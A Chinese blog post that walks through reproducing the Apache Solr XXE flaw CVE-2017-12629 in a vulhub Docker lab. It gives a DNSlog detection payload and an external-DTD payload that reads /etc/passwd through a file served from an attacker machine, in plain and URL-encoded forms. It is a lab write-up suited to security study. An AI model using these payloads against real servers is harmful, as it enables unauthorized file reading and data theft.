[ vulhub漏洞复现篇 ] solr XML外部实体注入(CVE-2017-12629-xxe)

news2024/10/7 19:30:48

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2017-12629环境
    • 2、启动CVE-2017-12629环境
    • 3、查看CVE-2017-12629环境
    • 4、访问CVE-2017-12629环境
    • 5、查看CVE-2017-12629漏洞提示信息
    • 6、关闭CVE-2017-12629环境
  • 五、漏洞复现
    • 1、查看core
    • 2、Dnslog检测漏洞是否存在
      • 1.获取域名
      • 2.构造payload并执行
      • 3.漏洞存在
    • 3、读取/etc/passwd文件
      • 1.构造xml文件
      • 2.启python进程开放xml文件
      • 3.构造payload
      • 4.执行payload
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2017-12629-xxe

二、影响范围

Apache Solr < 7.1
Apache Lucene < 7.1

三、漏洞描述

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。

四、环境搭建

1、进入CVE-2017-12629环境

cd vulhub/solr/CVE-2017-12629-XXE

在这里插入图片描述

2、启动CVE-2017-12629环境

docker-compose up -d

在这里插入图片描述
在这里插入图片描述

3、查看CVE-2017-12629环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2017-12629环境

访问ip+端口

http://192.168.233.128:8983/solr/#/

在这里插入图片描述

5、查看CVE-2017-12629漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2017-12629环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、查看core

访问http://ip:8983/solr/admin/cores,查看有哪些core。可以看到有个core名字为demo。
这里vulhub默认就是demo,真实环境需要查询。

在这里插入图片描述

2、Dnslog检测漏洞是否存在

1.获取域名

这里使用的dnslog平台是dnslog.cn,获得的域名是57r0h1.dnslog.cn。

dnslog.cn
57r0h1.dnslog.cn

在这里插入图片描述

2.构造payload并执行

http://192.168.233.128:8983/solr/demo/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://57r0h1.dnslog.cn"><a></a>'}&wt=xml

在这里插入图片描述

3.漏洞存在

dnslog平台出现解析记录,证明漏洞存在

在这里插入图片描述

3、读取/etc/passwd文件

1.构造xml文件

攻击机上写入一个可以访问的xml文件,我这里文件名字为PowerShell.dtd,文件内容如下

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

在这里插入图片描述

2.启python进程开放xml文件

在PowerShell.dtd所在目录下启动cmd

在这里插入图片描述

键入如下命令起一个python服务

python -m http.server 8080

在这里插入图片描述

3.构造payload

构造payload如下

http://192.168.233.128:8983/solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.116.1:8080/PowerShell.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

http://192.168.116.1:8080/PowerShell.dtd为之前创建的文件地址
由于get型,我们进行url编码,编码工具在文末给出,编码之后

http://192.168.233.128:8983/solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.116.1:8080%2fPowerShell.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

4.执行payload

成功读取到/etc/passwd文件

在这里插入图片描述

六、漏洞修复

升级为Apache Solr最新版本。

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/80517.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网站权重怎么批量查?怎么批量查询网站的360权重

批量查询网站360权重的操作&#xff1a; 第一步、打开SEO综合查询工具 第二步、添加需要查询的网站域名&#xff08;有多少放多少&#xff0c;一行一个域名&#xff09; 第三步、勾选360权重PC权重和360移动权重 第四步、点击开始查询 第五步、等待查询结果出来 如果需要导出查…

vue 前端实现随机背景色

目录前言&#xff1a;步骤&#xff1a;功能效果展示&#xff1a;代码&#xff1a;总结&#xff1a;前言&#xff1a; 要求是页面对应的几个模块每次打开都要显示多个不同的随机颜色&#xff0c;点击刷新则显示的颜色改变。我就封装成了一个函数&#xff0c;有不足的地方&#…

【小甲鱼C语言】课后笔记第一章第二节——变量

目录 1、变量的命名规则 2、关键字 3、基本数据类型 4、声明变量的语法 5、课后习题&#xff08;编程题&#xff09; 1、变量的命名规则 C语言变量名只能是英文字母&#xff08;A-Z&#xff0c;a-z&#xff09;和数字&#xff08;0-9&#xff09;或者下划线&#xff08;_&…

【云原生进阶之容器】第一章Docker核心技术1.1节——Docker综述

1 Docker简述 1.1 什么是Docker Docker是一个开源的软件项目,让用户程序部署在一个相对隔离的环境运行,借此在Linux操作系统上提供一层额外的抽象,以及操作系统层虚拟化的自动管理机制。需要额外指出的是,Docker并不等于容器(containers),Docker只是容器的一种,其他的种…

使用vite插件编写tsx文件

一般情况下&#xff0c;我们在template标签里去写静态页面模板。现在可以扩展另一种书写风格 tsx&#xff0c;类似react的jsx语法。vue2 的时候就已经支持jsx写法&#xff0c;只不过不是很友好&#xff0c;随着vue3对typescript的支持度增高&#xff0c;tsx写法越来越被接受。 …

基本素质提升(一)----日常/命令积累

目录 一、引言 二、日常积累 三、命令积累 一、引言 这个主题主要带大家学习一下日常开发所使用的命令及相关知识&#xff0c;会持续更新 二、日常积累 1、kill 给某个进程发送信号 kill -STOP pid(进程号)&#xff0c;可以发送任何信号给进程&#xff1b;kill -STOP %…

【云计算与大数据技术】云计算概论介绍

一、什么是云计算 云计算&#xff08;cloud computing&#xff09;是基于互联网的相关服务的增加、使用和交付模式&#xff0c;通常涉及通过互联网来提供动态易扩展且经常是虚拟化的资源。云是网络、互联网的一种比喻说法&#xff0c;过去往往用来用云表示电信网&#xff0c;后…

基于51单片机电动自行车车速报警系统proteus仿真原理图程序

功能&#xff1a; 0.本项目采用STC89C52作为单片机系统的控制MCU 1.LCD1602液晶分三种显示模式 a)显示实时速度和本次里程 b)显示当前时间 c)显示报警速度和总里程 2.超过报警速度将声光报警 3.功能按键介绍 a显示状态下: 上’键——电机速度1 下’键——电机速度-1 设置’键—…

Java基于JSP+mysql的学科竞赛管理系统

随着我学科竞赛是对课堂上所学的理论知识的实践运用&#xff0c;是考察大学生学科基本理论知识和解决实际问题能力的比赛&#xff0c;是高等学校人才培养质量的标志之一&#xff0c;是培养知识-能力-素质协调发展的创新型、高素质人才重要途径&#xff0c;对高校的学风、就业也…

Go开发中配置一个Logger日志的功能实现

为什么需要Logger 一般在开发项目的时候我们都是需要一个存储日志的文件&#xff0c;因为在部署项目以后&#xff0c;我们只能通过去筛查日志进行检索问题&#xff0c;这时候日志是否可以呈现清晰这个对于我们进行排查工作是十分重要的&#xff0c;所以Logger能否展示出我们最…

Linux基础——git和gdb的使用

前言 我们在平时维护和上传代码时会用到git&#xff0c;但是这个git具体是什么&#xff0c;往往又说不清楚。其实git其实就是一个版本管理工具&#xff0c;有了这个工具就能方便快捷地查询自己上传代码的不同版本&#xff0c;对每一次上传的改动了如指掌。 那gdb又是什么呢&a…

文本生成自回归解码策略总结

当今文本生成的主流方式还是自回归式的语言建模&#xff0c;本篇文章对文本生成常用的几种自回归采样&解码策略进行总结&#xff08;以下统称为采样&#xff09;。 采样方式Argmax Decoding&#xff08;贪婪采样&#xff09;Greedy Search&#xff08;贪心搜索&#xff09;…

Neo4J入门笔记[2]---Neo4J GDS 图数据科学库

Neo4J 提供了GDS的库&#xff0c;里面包括了很多算法。GDS的英语全称是Graph Data Science&#xff08;图数据科学库&#xff09;&#xff0c;其句法流程如下&#xff1a; stream Returns the result of the algorithm as a stream of records. stats Returns a single recor…

【VUE3】保姆级基础讲解(二)计算属性,vue组件,vue-cli脚手架,组件通讯,插槽slot

目录 计算属性computed 侦听器watch 对象监听 组件 注册全局组件 注册局部组件 Vue-CLI脚手架 安装和使用 .browserslistrc main.js jsconfig.json 组件通讯 父组件传递给子组件 props基础 非prop的attribute 子组件传递给父组件 插槽slot 基础使用 具名插槽 …

前端整合ECharts

1、简介 ECharts是百度的一个项目&#xff0c;后来百度把Echart捐给apache&#xff0c;用于图表展示&#xff0c;提供了常规的折线图、柱状图、散点图、饼图、K线图&#xff0c;用于统计的盒形图&#xff0c;用于地理数据可视化的地图、热力图、线图&#xff0c;用于关系数据可…

图数据库 Neo4j 学习之SpringBoot整合

Neo4j 系列 1、图数据库 Neo4j 学习随笔之基础认识 2、图数据库 Neo4j 学习随笔之核心内容 3、图数据库 Neo4j 学习随笔之基础操作 4、图数据库 Neo4j 学习随笔之高级操作 5、图数据库 Neo4j 学习之JAVA-API操作 6、图数据库 Neo4j 学习之SpringBoot整合 文章目录Neo4j 系列前…

Docker与Linux之间的关系——Namespace,Cgroups, 网络通信总结

文章目录一、前言二、NamespaceNamespace Linux内核操作方法容器隔离性与 Linux Namespace 关系Linux Namespace 常用操作三、CgroupsCgroups 子系统CPU 子系统cpuacct 子系统Memory 子系统Linux 调度器使用 cgroup 限额实践四、DockerDocker的文件系统OCI 容器标准Docker 引擎…

php+vue基于微信小程序的房屋租赁小程序

当今社会房屋租赁买卖是必不可少的&#xff0c;人们不管走到哪里都需要有一个温馨的家&#xff0c;有一个落脚之地&#xff0c;所以房屋租赁市场也是非常火爆&#xff01;不管是房屋租赁公司或者是个人都需要一套完整的管理系统来掌握整个市场信息。针对这一需求&#xff0c;本…

微信小程序框架(三)-全面详解(学习总结---从入门到深化)

目录 事件系统 什么是事件 事件的使用方式 Event对象 事件分类 冒泡事件(bind) 非冒泡事件(catch) 事件类型 事件类型列表 事件携带参数 currentTarget 携带参数 mark 携带参数 条件渲染 wx:if wx:else wx:elif hidden wx:if vs hidden 区别 列表渲染 基本使用 复杂数…

C++用unordered_map查表代替if else/switch case多判断语句

一、引言 在C中我们写判断逻辑一般会用if else或switch case语句&#xff0c;比如以下例子&#xff1a; #include <iostream>using namespace std;class CTest { public:enum class ConditionType{TYPE1 0,TYPE2,TYPE3,};CTest() default;~CTest() default;void exe…